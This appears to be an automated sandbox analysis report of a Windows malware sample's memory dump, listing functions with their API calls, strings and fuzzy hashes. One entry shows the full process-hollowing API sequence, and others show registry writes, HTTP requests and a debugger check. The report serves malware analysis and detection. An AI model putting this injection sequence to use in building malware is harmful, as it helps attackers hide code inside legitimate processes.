_free.LIBCMT ref: 0041F8F3

Part of subcall function 00416EF1: HeapFree.KERNEL32(00000000,00000000,?,00415FEE), ref: 00416F07
Part of subcall function 00416EF1: GetLastError.KERNEL32(?,?,00415FEE), ref: 00416F19

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Heap$AllocateErrorFreeLast_free
String ID:
API String ID: 314386986-0
Opcode ID: f4a3d17c9195100143e1d47be34fc3b08fa22f09151c526cfcbb90b6e3be17a2
Instruction ID: aee11100ca34d3458ce89e5f99effe4dc07aa4bc832e1dece958000052400d1d
Opcode Fuzzy Hash: f4a3d17c9195100143e1d47be34fc3b08fa22f09151c526cfcbb90b6e3be17a2
Instruction Fuzzy Hash: E5F04F721057049FD3259F45D901792F7F8EF40B21F10843FE29A87990DBB4A4468B58

Uniqueness

Uniqueness Score: -1.00%

Function 0041E1A0, Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,0041E590,?,?,00000000,?,0041E590,00000000,0000000C), ref: 0041E1BD

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f37e5a37cdcaa46bd2bbbe7e3a9687f02ff2bfbfb3955d980ab61bdfe8a43f07
Instruction ID: 734668a00370914631b4c4fe8fbe1f0e973289ac58342a9305f2a6e88b31aa5d
Opcode Fuzzy Hash: f37e5a37cdcaa46bd2bbbe7e3a9687f02ff2bfbfb3955d980ab61bdfe8a43f07
Instruction Fuzzy Hash: 92D06C3210010DBFEF128F84DC06EDA3BAAFB48714F018110BA1856060C732E832EB94

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004023D0, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 155injectionthreadmemoryCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000000,00000000), ref: 004023EC
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?,?,00000000,00000000), ref: 00402445
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004,?,00000000,00000000), ref: 0040245E
GetThreadContext.KERNEL32(?,00000000,?,00000000,00000000), ref: 00402473
ReadProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,00000000,00000000), ref: 00402496
GetModuleHandleA.KERNEL32(ntdll.dll,NtUnmapViewOfSection,?,00000000,00000000), ref: 004024AE
GetProcAddress.KERNEL32(00000000), ref: 004024B5
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040,?,00000000,00000000), ref: 004024D4
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 004024EF
WriteProcessMemory.KERNEL32(?,?,?,?,00000000,?,?,00000000,?,00000000,00000000), ref: 0040252C
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,00000000,?,00000000,00000000), ref: 0040255C
SetThreadContext.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 00402572
ResumeThread.KERNEL32(?,?,?,00000000,?,00000000,00000000), ref: 0040257B
VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,?,00000000,00000000), ref: 00402589
VirtualFree.KERNEL32(?,00000000,00008000,?,00000000,00000000), ref: 004025A0

Strings

NtUnmapViewOfSection, xrefs: 004024A4
ntdll.dll, xrefs: 004024A9

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Process$MemoryVirtual$ThreadWrite$AllocContextFreeModule$AddressCreateFileHandleNameProcReadResume
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 4033543172-1050664331
Opcode ID: dce348d52fc12c30c3f40679117718e82f8cd84188ec2c5c3b09c48dccf8250f
Instruction ID: 440dc1f88cae3f29298ca1fc926a1d4459f99b9c7f3eb29f4bf5b8588a7962f4
Opcode Fuzzy Hash: dce348d52fc12c30c3f40679117718e82f8cd84188ec2c5c3b09c48dccf8250f
Instruction Fuzzy Hash: 39516A71A40605BBEB208B94DD49FAEBBB8FF08705F504029F708E62D0DBB4A955CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041F061, Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 373timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041F0E3
_free.LIBCMT ref: 0041F107
_free.LIBCMT ref: 0041F294
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0042C638), ref: 0041F2A6
_free.LIBCMT ref: 0041F460

Strings

:D, xrefs: 0041F3A2

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free$InformationTimeZone
String ID: :D
API String ID: 597776487-1053662275
Opcode ID: 31c1a3bb8d932bdf73f3d4b67067ea9d3116354559e509af512d48e34f12be91
Instruction ID: 6c3339f1fcba1bfd03aeafa15e9eff58370b3754daa4e18655f01ca219f68792
Opcode Fuzzy Hash: 31c1a3bb8d932bdf73f3d4b67067ea9d3116354559e509af512d48e34f12be91
Instruction Fuzzy Hash: FCC14936A00204ABCB109B69DD41AEB7BA9AF45314F1440BFE84197352E7798E8B875C

Uniqueness

Uniqueness Score: -1.00%

Function 004040F0, Relevance: 10.9, APIs: 7, Instructions: 365registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,00000001,00000000,00000000,00000000,0002001F,00000000,?,00000000), ref: 00404121
RegOpenKeyExA.ADVAPI32(80000001,00000001,00000000,00000002,80000001), ref: 00404140

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CreateOpen
String ID:
API String ID: 436179556-0
Opcode ID: 94d79a7a33d4d22f68eb2a96e4277294dc1cb90e320c4bf7319619414c3e215b
Instruction ID: 6321951a0994b58f8b3410fee4f8c79c06cea5f0678cef07b67a70ef62a851f0
Opcode Fuzzy Hash: 94d79a7a33d4d22f68eb2a96e4277294dc1cb90e320c4bf7319619414c3e215b
Instruction Fuzzy Hash: 9CC139B0A002049BDB24DF68DC46B9E7B71EF81304F50417EE901B72D1EB799985CBD9

Uniqueness

Uniqueness Score: -1.00%

Function 004070B4, Relevance: 10.7, APIs: 7, Instructions: 247networkfileCOMMON

Download Yara Rule

APIs

HttpOpenRequestA.WININET(00000000,00000000,?,00000000,00000000,00000000,00000000,00000001), ref: 004070C3
HttpSendRequestA.WININET(00000000,00000000,?), ref: 0040716C
InternetReadFile.WININET(00000000,?,000003FF,?), ref: 004071FD
InternetReadFile.WININET(00000000,00000000,000003FF,?), ref: 00407284
InternetCloseHandle.WININET(00000000), ref: 00407295
InternetCloseHandle.WININET(?), ref: 0040729A
InternetCloseHandle.WININET(?), ref: 0040729F

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Internet$CloseHandle$FileHttpReadRequest$OpenSend
String ID:
API String ID: 856522067-0
Opcode ID: 46399ca82c04d4cb12827f109e44d037cf8ae09b8d84c8a6a754118fccc78e0a
Instruction ID: 4766823f5b76784fd5501c0cdec08d84c61a63f63d86b45f3079b5d3cdf308d1
Opcode Fuzzy Hash: 46399ca82c04d4cb12827f109e44d037cf8ae09b8d84c8a6a754118fccc78e0a
Instruction Fuzzy Hash: 57810971A000049BEB18DF68CD85BAD7B66EF86304F50417DF810A73D5D739A981CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00415393, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 0041548B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00415495
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 004154A2

Strings

:D, xrefs: 0041539E

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID: :D
API String ID: 3906539128-1053662275
Opcode ID: 203ecd29b69171333ff07b260291656cb257e9580009599efc4fa298bffbf476
Instruction ID: c7c2e2fcbb3706bc9890685da028f386ed6175fddff6704f1469257887f031c4
Opcode Fuzzy Hash: 203ecd29b69171333ff07b260291656cb257e9580009599efc4fa298bffbf476
Instruction Fuzzy Hash: 9331D574901218EBCB21DF25DC897DDBBB4BF48310F5041EAE91CA6250EB749BC18F48

Uniqueness

Uniqueness Score: -1.00%

Function 0041B9B2, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 140COMMON

Download Yara Rule

Strings

:D, xrefs: 0041BA6E

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID: :D
API String ID: 0-1053662275
Opcode ID: c9a92012c9d58c3263018888d2c6badcefa4afe166ca922ec22ab8167c0ae8ac
Instruction ID: ab5cb7eb22793a6d951a45ed620bf8732dd85f3227307ef8226666287b30cfbb
Opcode Fuzzy Hash: c9a92012c9d58c3263018888d2c6badcefa4afe166ca922ec22ab8167c0ae8ac
Instruction Fuzzy Hash: A441A3B1804218AEDF20DF69CC89AEABBB9EF55304F1442DEE41DD3251DB389E858F54

Uniqueness

Uniqueness Score: -1.00%

Function 00410B13, Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00410B29

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 7b1201da53ebf601c8b985c1e58dc9aa388b10418ecd189d4aecf39a7dd7a3b7
Instruction ID: adf30755c2367850e79aed5942d5cf912dce82338ce689bcdecb484ef98a17a0
Opcode Fuzzy Hash: 7b1201da53ebf601c8b985c1e58dc9aa388b10418ecd189d4aecf39a7dd7a3b7
Instruction Fuzzy Hash: C4516DB1A056058FDB18CF55EA817EAB7F4FB48314F14856AD405EB351E3B899C0CF98

Uniqueness

Uniqueness Score: -1.00%

Function 0041D41B, Relevance: 19.6, APIs: 13, Instructions: 113COMMON

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0041D45F

Part of subcall function 0041CFF8: _free.LIBCMT ref: 0041D015
Part of subcall function 0041CFF8: _free.LIBCMT ref: 0041D027
Part of subcall function 0041CFF8: _free.LIBCMT ref: 0041D039
Part of subcall function 0041CFF8: _free.LIBCMT ref: 0041D04B
Part of subcall function 0041CFF8: _free.LIBCMT ref: 0041D05D
Part of subcall function 0041CFF8: _free.LIBCMT ref: 0041D06F
Part of subcall function 0041CFF8: _free.LIBCMT ref: 0041D081
Part of subcall function 0041CFF8: _free.LIBCMT ref: 0041D093
Part of subcall function 0041CFF8: _free.LIBCMT ref: 0041D0A5
Part of subcall function 0041CFF8: _free.LIBCMT ref: 0041D0B7
Part of subcall function 0041CFF8: _free.LIBCMT ref: 0041D0C9
Part of subcall function 0041CFF8: _free.LIBCMT ref: 0041D0DB
Part of subcall function 0041CFF8: _free.LIBCMT ref: 0041D0ED

_free.LIBCMT ref: 0041D454

Part of subcall function 00416EF1: HeapFree.KERNEL32(00000000,00000000,?,00415FEE), ref: 00416F07
Part of subcall function 00416EF1: GetLastError.KERNEL32(?,?,00415FEE), ref: 00416F19

_free.LIBCMT ref: 0041D476
_free.LIBCMT ref: 0041D48B
_free.LIBCMT ref: 0041D496
_free.LIBCMT ref: 0041D4B8
_free.LIBCMT ref: 0041D4CB
_free.LIBCMT ref: 0041D4D9
_free.LIBCMT ref: 0041D4E4
_free.LIBCMT ref: 0041D51C
_free.LIBCMT ref: 0041D523
_free.LIBCMT ref: 0041D540
_free.LIBCMT ref: 0041D558

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 4a8b5a15acc7a14c50cd063d573e4647b370686c1df12e260f6979065f655518
Instruction ID: 50ea2c571d89528eb841cca84a523e4834d369b8652474179c5c405d4f55c08d
Opcode Fuzzy Hash: 4a8b5a15acc7a14c50cd063d573e4647b370686c1df12e260f6979065f655518
Instruction Fuzzy Hash: 96315CB1A00305AFEB20AA7AD845BDB73E9AF01355F11456FF055D7291DF38E9C0CA28

Uniqueness

Uniqueness Score: -1.00%

Function 00406420, Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 401COMMON

Download Yara Rule

Strings

(, xrefs: 00406AA4

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: 19123f79e132b936897f44474bffd52edbe5c6886953cdf5fdfb6d6175a71564
Instruction ID: 81799206c43821804c4a20be9679b696e1a931c1d14d3e8bba23beb978798f01
Opcode Fuzzy Hash: 19123f79e132b936897f44474bffd52edbe5c6886953cdf5fdfb6d6175a71564
Instruction Fuzzy Hash: 45F1D470E002189BEF24DF64CD85BCEBBB5AF45304F6041AAE406772C6D7799A88CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00411330, Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 168COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00411367
___except_validate_context_record.LIBVCRUNTIME ref: 0041136F
_ValidateLocalCookies.LIBCMT ref: 004113F8
__IsNonwritableInCurrentImage.LIBCMT ref: 00411423
_ValidateLocalCookies.LIBCMT ref: 00411478

Strings

:D, xrefs: 004113E2, 0041145F
csm, xrefs: 0041140D
csm, xrefs: 004114A1

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: :D$csm$csm
API String ID: 1170836740-3550364912
Opcode ID: 0a2e03c3cc3388b84d8059a2bf9742adecf81b4355985ee0c223dd53229766d7
Instruction ID: 443292d548cbf199b304917c61bba0129b456710ce5030ba19dda583cf5808e7
Opcode Fuzzy Hash: 0a2e03c3cc3388b84d8059a2bf9742adecf81b4355985ee0c223dd53229766d7
Instruction Fuzzy Hash: 2E51E634A00209DFCF14DF29C840ADE7BB6AF44318F14819BEA155B3B2C779D985CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00423933, Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,0042329F), ref: 0042394C

Strings

pow, xrefs: 004239EA, 00423A94, 00423AE1
asin, xrefs: 00423A79
sqrt, xrefs: 00423A8B
acos, xrefs: 00423A82
log, xrefs: 004239A9, 004239B8
log10, xrefs: 0042398E, 0042399D
exp, xrefs: 004239CB, 00423A30

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 504ce4a89961955855953c7fec54383e4d614d0e3e65c84ccae8c467bfef1074
Instruction ID: 6a5f19575219a5169c7ceb1411dbfa3ad7b9437e9bbbb56366fd5da6a923b00c
Opcode Fuzzy Hash: 504ce4a89961955855953c7fec54383e4d614d0e3e65c84ccae8c467bfef1074
Instruction Fuzzy Hash: 80514B70B0052ACBCF109F59F84C1AEBF74FB45306F914166E481A7254CBBC8A56CB5E

Uniqueness

Uniqueness Score: -1.00%

Function 00413233, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 141pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00413165), ref: 00413255
GetFileInformationByHandle.KERNEL32(?,?), ref: 004132AF
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00413165,?,000000FF,00000000,00000000), ref: 0041333D
__dosmaperr.LIBCMT ref: 00413344
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 00413381

Part of subcall function 004135A9: __dosmaperr.LIBCMT ref: 004135DE

Strings

:D, xrefs: 0041323B
e1A, xrefs: 0041324D

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID: :D$e1A
API String ID: 1206951868-1158912741
Opcode ID: 9e75fcf97521c0e012578af4ab8d31cf15f6d097c0de31b8fbb2230b4899aa8c
Instruction ID: 1ef8cb12aac03d9d694b3d7e0116a252e14ade2b622e1d486af085e5d9453c22
Opcode Fuzzy Hash: 9e75fcf97521c0e012578af4ab8d31cf15f6d097c0de31b8fbb2230b4899aa8c
Instruction Fuzzy Hash: CC414175900248AFDB24DFA6DC459EFBBF9EF88305700852EF956D3650DB389A81CB18

Uniqueness

Uniqueness Score: -1.00%

Function 00417A9C, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 77COMMON

Download Yara Rule

Strings

api-ms-, xrefs: 00417AF3
ext-ms-, xrefs: 00417B07
b;A, xrefs: 00417A9E

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID: api-ms-$b;A$ext-ms-
API String ID: 0-691673382
Opcode ID: 926ed5f0ae685680bfc3b1786a81ce9bd9ee6e83f653bdea50a098b4b88086d6
Instruction ID: d127285d5f41063e43d6378005b6bea1fad54d3cbb96ef2da85d551c17414448
Opcode Fuzzy Hash: 926ed5f0ae685680bfc3b1786a81ce9bd9ee6e83f653bdea50a098b4b88086d6
Instruction Fuzzy Hash: C921C631A4E220ABDB315B24DC44E9F77789F057A8F250126ED16A7291D738FD81C6E8

Uniqueness

Uniqueness Score: -1.00%

Function 0041C833, Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0041C85D
_free.LIBCMT ref: 0041C936
_free.LIBCMT ref: 0041C963

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 298cbc08b0b50112b170cff692f830c9936c2205b2b2d4ec8c178a3939d7f4dc
Instruction ID: 8bd314d26a2b932e542bac08d40920f00610aeb0e4a44e76c03c21304b8fcb19
Opcode Fuzzy Hash: 298cbc08b0b50112b170cff692f830c9936c2205b2b2d4ec8c178a3939d7f4dc
Instruction Fuzzy Hash: C95104B0988349AFDB11EFA9DCC2BEE7BA4AF01354F04416FE51097281DB79C9818B5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041D197, Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 0041D15F: _free.LIBCMT ref: 0041D184

_free.LIBCMT ref: 0041D1E5

Part of subcall function 00416EF1: HeapFree.KERNEL32(00000000,00000000,?,00415FEE), ref: 00416F07
Part of subcall function 00416EF1: GetLastError.KERNEL32(?,?,00415FEE), ref: 00416F19

_free.LIBCMT ref: 0041D1F0
_free.LIBCMT ref: 0041D1FB
_free.LIBCMT ref: 0041D24F
_free.LIBCMT ref: 0041D25A
_free.LIBCMT ref: 0041D265
_free.LIBCMT ref: 0041D270

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 17f53bcb001aa0cf27f4b28cdacd85efe4fe4569033449001c41b86b803b0e8a
Instruction ID: f8882d54c5558631ee0fee8316dc2db61d1c4e104af911d9b1191bf2b5208dfa
Opcode Fuzzy Hash: 17f53bcb001aa0cf27f4b28cdacd85efe4fe4569033449001c41b86b803b0e8a
Instruction Fuzzy Hash: A11151B2940B08BBDA20B7B2CC47FCB779C9F02744F40092EB29966653EE7DF5848654

Uniqueness

Uniqueness Score: -1.00%

Function 00404B80, Relevance: 9.5, APIs: 6, Instructions: 479COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,?,?), ref: 00404BAE

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: PathTemp
String ID:
API String ID: 2920410445-0
Opcode ID: b20216edac925d77b4c9cf72c1b84954f0163d1edf32200a5e512db6c6ececdf
Instruction ID: f157005385e0a652af4bd7c05d3f063f1270be288214127a69b4afc17ff825c1
Opcode Fuzzy Hash: b20216edac925d77b4c9cf72c1b84954f0163d1edf32200a5e512db6c6ececdf
Instruction Fuzzy Hash: 8AF1F370E00109ABDF14EFA8D989BEEB7B6EF84304F10416EE505B7281D7786A49CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0041A0FA, Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0041A181

Strings

;A, xrefs: 0041A0FC

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _strrchr
String ID: ;A
API String ID: 3213747228-3646425762
Opcode ID: 186601d8a17e2b5d785641720b47b2babc382d84c469d94d16a1b433b5ce272a
Instruction ID: 158e87746630bf47438602d4651890c08833f2b27a6069fc311cf8781cfc05b7
Opcode Fuzzy Hash: 186601d8a17e2b5d785641720b47b2babc382d84c469d94d16a1b433b5ce272a
Instruction Fuzzy Hash: 9FB13332A062599FDB118F68C8817EEBBE5EF55300F1480ABE855DB341D23D8D91CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A10, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 127threadsleepinjectionCOMMON

Download Yara Rule

APIs

Part of subcall function 0040FB00: Concurrency::cancel_current_task.LIBCPMT ref: 0040FC21

CreateThread.KERNEL32 ref: 00402A76
Sleep.KERNEL32(00001388,?,?,?,?,?,?,?,?,?,?), ref: 00402A83
SuspendThread.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00402A8A

Strings

rundll32.exe, xrefs: 00402DFC
runas, xrefs: 00402BCF

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Thread$Concurrency::cancel_current_taskCreateSleepSuspend
String ID: runas$rundll32.exe
API String ID: 1039963361-4081450877
Opcode ID: ae271ad1046cae4c3819602f436df58996007f4348d57fabc9a8f70a53f159ba
Instruction ID: 9d6689edbb06c31ad6135de252e78b731586f65b3a74e78112f4966584739bec
Opcode Fuzzy Hash: ae271ad1046cae4c3819602f436df58996007f4348d57fabc9a8f70a53f159ba
Instruction Fuzzy Hash: 1341F831210108ABEB18DF28CE99BDD3B66EF85344F50852AF915A73D5C7BDE5C08B98

Uniqueness

Uniqueness Score: -1.00%

Function 00411A44, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

api-ms-, xrefs: 00411A94

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID: api-ms-
API String ID: 0-2084034818
Opcode ID: 129c0c54e3abbf2d209a9df6885455a0cfcb36384d0db97bc26f09fe37f2bd5a
Instruction ID: 955e40c0dea3ab6f810ae731caca8c4a7816c4a1cfb12c2502f3fba403f5261b
Opcode Fuzzy Hash: 129c0c54e3abbf2d209a9df6885455a0cfcb36384d0db97bc26f09fe37f2bd5a
Instruction Fuzzy Hash: 0511D631A07625ABDB218B659C40A9F3F58AF017E0F250226EE02A73A0DA74DD41C6EC

Uniqueness

Uniqueness Score: -1.00%

Function 00412AF3, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,00412AE8,?,?,00412AB0,?,?,?), ref: 00412B08
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00412B1B
FreeLibrary.KERNEL32(00000000,?,?,00412AE8,?,?,00412AB0,?,?,?), ref: 00412B3E

Strings

CorExitProcess, xrefs: 00412B13
mscoree.dll, xrefs: 00412B01

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 9b25b2480156a898975ff9207fa4a0d1f543927fad6c89e789778ca8823a3494
Instruction ID: ab2832f3fe23ca87e0ad0156c011b61726dac4ed9847c0966e3ce458ca91beae
Opcode Fuzzy Hash: 9b25b2480156a898975ff9207fa4a0d1f543927fad6c89e789778ca8823a3494
Instruction Fuzzy Hash: 7BF08230606218FBDB219F50DE09FDE7B75EB04755F550069E501E11A0CFB89E51DB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040400B, Relevance: 7.7, APIs: 5, Instructions: 202registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?), ref: 00404029
RegCloseKey.ADVAPI32(?,?,00000400,00000000,00000001,?), ref: 00404032
RegCreateKeyExA.ADVAPI32(80000001,00000001,00000000,00000000,00000000,0002001F,00000000,?,00000000), ref: 00404121
RegOpenKeyExA.ADVAPI32(80000001,00000001,00000000,00000002,80000001), ref: 00404140
RegSetValueExA.ADVAPI32(80000001,?,00000000,00000001,?,?), ref: 0040416E
GetVersionExW.KERNEL32(0000011C), ref: 00404297

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Value$CloseCreateOpenQueryVersion
String ID:
API String ID: 1990069347-0
Opcode ID: 0b4b4a24e0840971808db6a5a91dab5609674fa61d9bd54e0f61176be6ac16e4
Instruction ID: 35428a474e83a4900ff440f8b748a686624ef1f56daf06dddf0dc8a80db3c158
Opcode Fuzzy Hash: 0b4b4a24e0840971808db6a5a91dab5609674fa61d9bd54e0f61176be6ac16e4
Instruction Fuzzy Hash: D761D771210108AFEB18CF24CD89BDD7B66EB85304F50826DFA05A72C5D779DAC5CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041D0F6, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041D10E

Part of subcall function 00416EF1: HeapFree.KERNEL32(00000000,00000000,?,00415FEE), ref: 00416F07
Part of subcall function 00416EF1: GetLastError.KERNEL32(?,?,00415FEE), ref: 00416F19

_free.LIBCMT ref: 0041D120
_free.LIBCMT ref: 0041D132
_free.LIBCMT ref: 0041D144
_free.LIBCMT ref: 0041D156

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: f937f6d1b54b543fc24e0c382ca6138a2ca5fa36c124f1f114eabe275f8b2ac5
Instruction ID: a9d5d322ef535835b7be3734f528fe555b201753afd3ff397850c47918d9b861
Opcode Fuzzy Hash: f937f6d1b54b543fc24e0c382ca6138a2ca5fa36c124f1f114eabe275f8b2ac5
Instruction Fuzzy Hash: 0FF04F72900204B7C624FB59E8C6CCB73D9AA05765765091EF009D7A11CF2CFCC18AAC

Uniqueness

Uniqueness Score: -1.00%

Function 00421914, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 199COMMON

Download Yara Rule

APIs

__freea.LIBCMT ref: 00421ACA

Part of subcall function 004173DA: RtlAllocateHeap.NTDLL(00000000,?,?,b;A,0041C292,00000220,?,?,?,?,?,?,00413B62,?), ref: 0041740C

__freea.LIBCMT ref: 00421AD3
__freea.LIBCMT ref: 00421AF6

Strings

:D, xrefs: 0042191B

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: __freea$AllocateHeap
String ID: :D
API String ID: 2243444508-1053662275
Opcode ID: 312f234e957af5c3e23e3a44f1f275343db31cd0e477763e08e282cfe81b5be8
Instruction ID: 5d81d6efc51edca98da60c95a0c9ee6aa17d82b3e11448204e018ba8a0ce53e5
Opcode Fuzzy Hash: 312f234e957af5c3e23e3a44f1f275343db31cd0e477763e08e282cfe81b5be8
Instruction Fuzzy Hash: DB5106B270112AABDB208F51EC41FBB36A9DF94354F55012BFC04E7260E778DC51C6A8

Uniqueness

Uniqueness Score: -1.00%

Function 0041F23C, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 171timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0042C638), ref: 0041F2A6
_free.LIBCMT ref: 0041F294

Part of subcall function 00416EF1: HeapFree.KERNEL32(00000000,00000000,?,00415FEE), ref: 00416F07
